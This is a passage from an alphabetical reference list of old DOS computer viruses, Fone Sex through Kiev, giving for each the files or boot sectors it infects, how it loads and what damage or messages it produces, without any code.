corrupts program or overlay files.

Fone Sex Virus

The Fone Sex Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program.

Forger2 Virus

The Forger2 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Form Virus

The Form Virus is a computer virus which infects the fixed disk and
diskette boot sectors . The virus is loaded into memory by booting
from an infected disk and then affects the computer's runtime
operation and corrupts data files.

Frajer Virus

The Frajer Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Francois Virus

The Francois Virus is a computer virus which infects the fixed disk
partition table. The virus is loaded into memory by booting from an
infected disk and then affects the computer's runtime operation.

Fratricide Virus

The Fratricide Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program.

Free Virus

The Free Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files.

Frere Jacques Virus

The Frere Jacques Virus is a computer virus which infects .COM, .EXE
and overlay files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Fri13-nz Virus

The Fri13-nz Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

Friday 13th COM Virus

The Friday 13th COM Virus is a computer virus which infects .COM
files. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files.

Friday 13th Virus

see "Munich_Virus"

Friday the 13th - Version A Virus

see "Jerusalem_Virus"

Frodo Soft Virus

The Frodo Soft Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files and data files.

Frodo-458 Virus

The Frodo-458 Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files and data files.

Frogs Virus

The Frogs Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Fu Manchu Virus

The Fu Manchu Virus is a computer virus which infects .COM, .EXE and
overlay files. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Fune Virus

The Fune Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Futhark Virus

The Futhark Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Fvhs-a Virus

The Fvhs-a Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program.

Fvhs-B Virus

The Fvhs-B Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program.

G Virus

The G Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

G2

G2 is a computer virus creation tool written by Dark Angel of the Phalcon/Skism organisation. G2 generates compact, easily modified, fully commented, source code of.COM and .EXE infectors . And supports the creation of resident and nonresident encrypted and non-encrypted viruses .

Galicia Virus

The Galicia Virus is an encrypted computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Ganeu Virus

The Ganeu Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Geek Virus

The Geek Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Generic Boot Virus

The Generic Boot Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Generic File Virus

The Generic File Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Generic MBR Virus

The Generic MBR Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Genesis 1:2 Virus

The Genesis 1:2 Virus is a VCL generated encrypted computer virus

which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files. When an infected program is run under a version of DOS prior to version 5, during 1993 and the time is on an hour the following message is displayed:
"Genesis 1:2"
"   And the earth was without form and void..."
"   Now...So is your hard disk."
"   -Virucidal Maniac

Gergana Virus

The Gergana Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Germ Virus

The Germ Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by booting from an infected disk.

Get Password 1 Virus

The Get Password 1 Virus is a computer virus which infects .COM, .EXE and overlay files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Ghost Boot Virus

The Ghost Boot Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Ghost COM Virus

The Ghost COM Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Ghost Dos-62 Virus

The Ghost Dos-62 Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk. The virus corrupts program or overlay files.

Gijon Virus

The Gijon Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Gingerbread Man Virus

The Gingerbread Man Virus is a computer virus which uses stealth techniques to avoid detection and which infects the fixed disk boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation and corrupts program or overlay files.

Gliss Virus

The Gliss Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Goblin Virus

The Goblin Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Gold Virus

The Gold Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Gomb Virus

The Gomb Virus is an encrypted computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Gorlovka Virus

The Gorlovka Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Gosia Virus

The Gosia Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

Got-you Virus

The Got-you Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files.

Gotch 4 Virus

The Gotch 4 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Gotcha 1 Virus

The Gotcha 1 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Gotcha 2 Virus

The Gotcha 2 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Gotcha 3 Virus

The Gotcha 3 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Gotcha 9e Virus

The Gotcha 9e Virus is a computer virus which infects .EXE and .COM
files, but not files whose name contains the letter pair "AN" or
commence "V". The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program files by hooking the DOS API 21h. The virus also sets an
enviroment variable of E=Mc2.

Gotcha Virus

The Gotcha Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Grapje Virus

The Grapje Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Graveyard Virus

The Graveyard Virus is an encrypted computer virus which uses stealth
techniques to avoid detection and which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Grease Virus

The Grease Virus is an encrypted computer virus which infects .COM and
.EXE files. The virus is loaded into memory by executing an infected
program. The virus corrupts program or overlay files.

Greemlin Virus

The Greemlin Virus is a computer virus which uses stealth techniques
to avoid detection and which infects .COM, .EXE and overlay files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files and data files.

Green Catapillar Virus

The Green Catapillar Virus is a computer virus which infects .COM and
.EXE files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts data files.

Green Virus

The Green Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts data files.

Grither Virus

The Grither Virus is a computer virus derived from the Vienna Virus, and which infects .COM files including COMMAND.COM. and will re-write the begining sectors of drives C: & D: erasing the file allocation tables.

Grog31 Virus

The Grog31 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Groovy Virus

The Groovy Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Growing Block Virus

The Growing Block Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Grue Virus

The Grue Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Grunt Virus

The Grunt Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Grunt-3 Virus

The Grunt-3 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Guppy Virus

The Guppy Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

H-2 Virus

The H-2 Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

H-457 Virus

The H-457 Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

HA Virus

The HA Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts data files.

Hack-83 Virus

The Hack-93 Virus is a memory resident companion computer virus. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

HACKER Virus

The HACKER Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Hacktic Virus

The Hacktic Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Hafen Virus

The Hafen Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Haifa Virus

The Haifa Virus is an encrypted computer virus which uses stealth techniques to avoid detection and which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Hallo Virus

The Hallo Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Halloechen Virus

The Halloechen Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation, corrupts program or overlay files.

Halloween Virus

The Halloween Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Hammer Virus

The Hammer Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Happy N. Y. Virus

The Happy N. Y. Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files.

Happy Virus

The Happy Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Hara Virus

The Hara Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files and data files.

Harakiri Virus

The Harakiri Virus is a computer virus written in Pascal, which
infects .COM and .EXE files. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program files. After infecting a program, the
virus displays the message:
Your PC is alive and infected with the HARAKIRI virus!

Harm Virus

The Harm Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Hary Virus

The Hary Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Hastings Virus

The Hastings Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Hate Virus

The Hate Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

HBT Virus

The HBT Virus is a computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Heevahava Virus

The Heevahava Virus is a VCL generated companion computer virus which will attempt to infect almost 20 files anywhere on the disk every run. It will mess with low RAM, beep the speaker, disable COM port 1, entangle LPT1 and LPT2, nullify print screen and finally, when the disk is completely saturated with the virus it will display the message, "Only heeva-hava's get stuck with the HEEVAHAVA virus!"

Hello Virus

The Hello Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Hellween 1182 Virus

The Hellween 1182 Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Hellween Virus

The Hellween Virus is an encrypted computer virus which infects .COM and .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Here Virus

The Here Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Hero Virus

The Hero Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Hero-394 Virus

The Hero-394 Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation, corrupts program or overlay
files.

Hi Virus

The Hi Virus is a computer virus which infects .EXE files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files and data files.

Hiccup Virus

The Hiccup Virus is a computer virus which infects the diskette boot
sector. The virus is loaded into memory by booting from an infected
disk and then affects the computer's runtime operation and corrupts
program or overlay files.

Highland Virus

The Highland Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts data files.

Hiperion Virus

The Hiperion Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Hitchcock Virus

The Hitchcock Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Hitler Virus

The Hitler Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Holland Girl Virus

The Holland Girl Virus is a computer virus which infects .COM files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Holo/Holocaust Virus

The Holo/Holocaust Virus is a computer virus which uses stealth
techniques to avoid detection and which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files and data files.

Horror Virus

The Horror Virus is an encrypted computer virus which infects .COM and

.EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program. The virus corrupts program or overlay files.

Horse Boot Virus

The Horse Boot Virus is a computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

Horse Virus

The Horse Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

HS Virus

The HS Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Huge Virus

The Huge Virus is a computer virus The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Hungarian Virus

The Hungarian Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Hybrid Virus

The Hybrid Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Hydra Virus

The Hydra Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Hymn Virus

The Hymn Virus is a computer virus which infects .COM, .EXE and overlay files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

I-B Virus

The I-B Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected

program.

IB Demonic Virus

The IB Demonic Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

Ice 9 Virus

The Ice 9 Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

ICE9-159 Virus

The ICE9-159 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

ICE9-199 Virus

The ICE9-199 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

ICE9-224 Virus

The ICE9-224 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Ice9-250 Virus

The Ice9-250 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Icelandic II Virus

The Icelandic II Virus is a computer virus which infects .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation.

Icelandic Virus

The Icelandic Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Icelandic-3 Virus

The Icelandic-3 Virus is a computer virus which infects .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Idle Virus

The Idle Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

Ieronim Virus

The Ieronim Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files and data files.

IKV528 Virus

The IKV528 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Ill Virus

The Ill Virus is an encrypted computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files.

Incom Virus

The Incom Virus is a computer virus which infects .COM files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Infinity Virus

The Infinity Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Inofensivo Virus

The Inofensivo Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Inrud-B Virus

The Inrud-B Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files and data files.

Internal Virus

The Internal Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Intruder Virus

The Intruder Virus is a computer virus which infects .EXE files. The

virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program files.

Invader Virus

The Invader Virus is an encrypted computer virus which infects the fixed disk and diskette boot sectors . The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Invisible Man Virus

The Invisible Man Virus is a computer virus which infects the fixed disk partition table. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Invol Virus

The Invol Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

IOU Virus

The IOU Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Iranian Virus

The Iranian Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Iraqi Warrior Virus

The Iraqi Warrior Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Iron Umbrella Virus

The Iron Umbrella Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Israeli Boot Virus

The Israeli Boot Virus is a computer virus which infects the diskette boot sector. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

IT Virus

The IT Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation.

Italian Pest Virus

The Italian Pest Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Italian Virus

The Italian Virus (also called the Bouncing Dot Virus, Vera Cruz Virus and Missouri virus) is a computer virus which infects the fixed disk and diskette boot sectors .. The virus is loaded into memory by booting from an infected disk and then affects the computer's runtime operation.

ItaVir Virus

The ItaVir Virus is a computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

IVP EX1 Virus

The IVP EX1 Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

IVP EX2 Virus

The IVP EX2 Virus is an encrypted computer virus which infects .EXE files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

IVP Virus

The IVP Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

James Bond Virus

The James Bond Virus is a computer virus which uses stealth techniques to avoid detection and which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Japan Virus

The Japan Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

JD Virus

The JD Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files.

Jeff Virus

The Jeff Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files and data files.

Jerk Virus

The Jerk Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

Jeru-1663 Virus

The Jeru-1663 Virus is a computer virus which infects .COM, .EXE and
overlay files including COMMAND.COM. The virus is loaded into memory
by executing an infected program and then affects the computer's
runtime operation and corrupts program or overlay files and data
files.

Jerusalem Virus

The Jerusalem Virus (also Called the Israeli Virus, PLO Virus and
Friday the 13th - Version A Virus) is a computer virus which infects
.COM, .EXE and overlay files. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Joanna Virus

The Joanna Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program. The virus corrupts program or overlay files and data
files.

John Virus

The John Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and
then affects the computer's runtime operation and corrupts program or
overlay files.

JoJo Virus

The JoJo Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program and then
affects the computer's runtime operation and corrupts program or
overlay files.

Joke Virus

The Joke Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files.

Joker Virus

The Joker Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Joker-1602 Virus

The Joker-1602 Virus is an encrypted computer virus which infects .COM
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

Joker3 Virus

The Joker3 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Jos Virus

The Jos Virus is a computer virus which infects .COM files. The virus
is loaded into memory by executing an infected program. The virus
corrupts program or overlay files and data files.

Joshi Virus

The Joshi Virus is a computer virus which uses stealth techniques to
avoid detection and which infects the fixed disk partition table. The
virus is loaded into memory by booting from an infected disk and then
affects the computer's runtime operation and corrupts data files.

Joshua Virus

The Joshua Virus is a computer virus which infects .COM and .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

July 13th Virus

The July 13th Virus is an encrypted computer virus which infects .EXE
files. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files and data files.

July 26 Virus

The July 26 Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

Jump4Joy Virus

The Jump4Joy Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts data files.

June 16th Virus

The June 16th Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

June1530 Virus

The June1530 Virus is a computer virus which infects .COM and .EXE
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation and corrupts program or overlay files.

Justice Virus

The Justice Virus is a computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation and
corrupts program or overlay files.

JW2 Virus

The JW2 Virus is a computer virus which infects .COM and .EXE files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

K Virus

The K Virus is a computer virus which infects .COM, .EXE and overlay
files including COMMAND.COM. The virus is loaded into memory by
executing an infected program and then affects the computer's runtime
operation, corrupts program or overlay files.

K-4B Virus

The K-4B Virus is an encrypted computer virus which infects .COM files
including COMMAND.COM. The virus is loaded into memory by executing an
infected program and then affects the computer's runtime operation,
corrupts program or overlay files.

K-4C Virus

The K-4C Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation and corrupts
program or overlay files.

Kalah Virus

The Kalah Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files and data files.

Kamikaze Virus

The Kamikaze Virus is a computer virus which infects .EXE files. The
virus is loaded into memory by executing an infected program. The
virus corrupts program or overlay files.

Karin Virus

The Karin Virus is a computer virus which infects .COM files including
COMMAND.COM. The virus is loaded into memory by executing an infected
program and then affects the computer's runtime operation, corrupts
program or overlay files.

KBug Virus

The KBug Virus is a computer virus which infects .COM and .EXE files.
The virus is loaded into memory by executing an infected program and

then affects the computer's runtime operation and corrupts program or overlay files.

Kemerov Virus

The Kemerov Virus is a computer virus which infects .COM files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files and data files.

Kennedy Virus

The Kennedy Virus is a computer virus which infects .COM files. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program files.

Kersplat Virus

The Kersplat Virus is an encrypted computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation, corrupts program or overlay files.

Keypress Virus

The Keypress Virus is a computer virus which infects .COM and .EXE files including COMMAND.COM. The virus is loaded into memory by executing an infected program and then affects the computer's runtime operation and corrupts program or overlay files and data files.

Kiev Virus

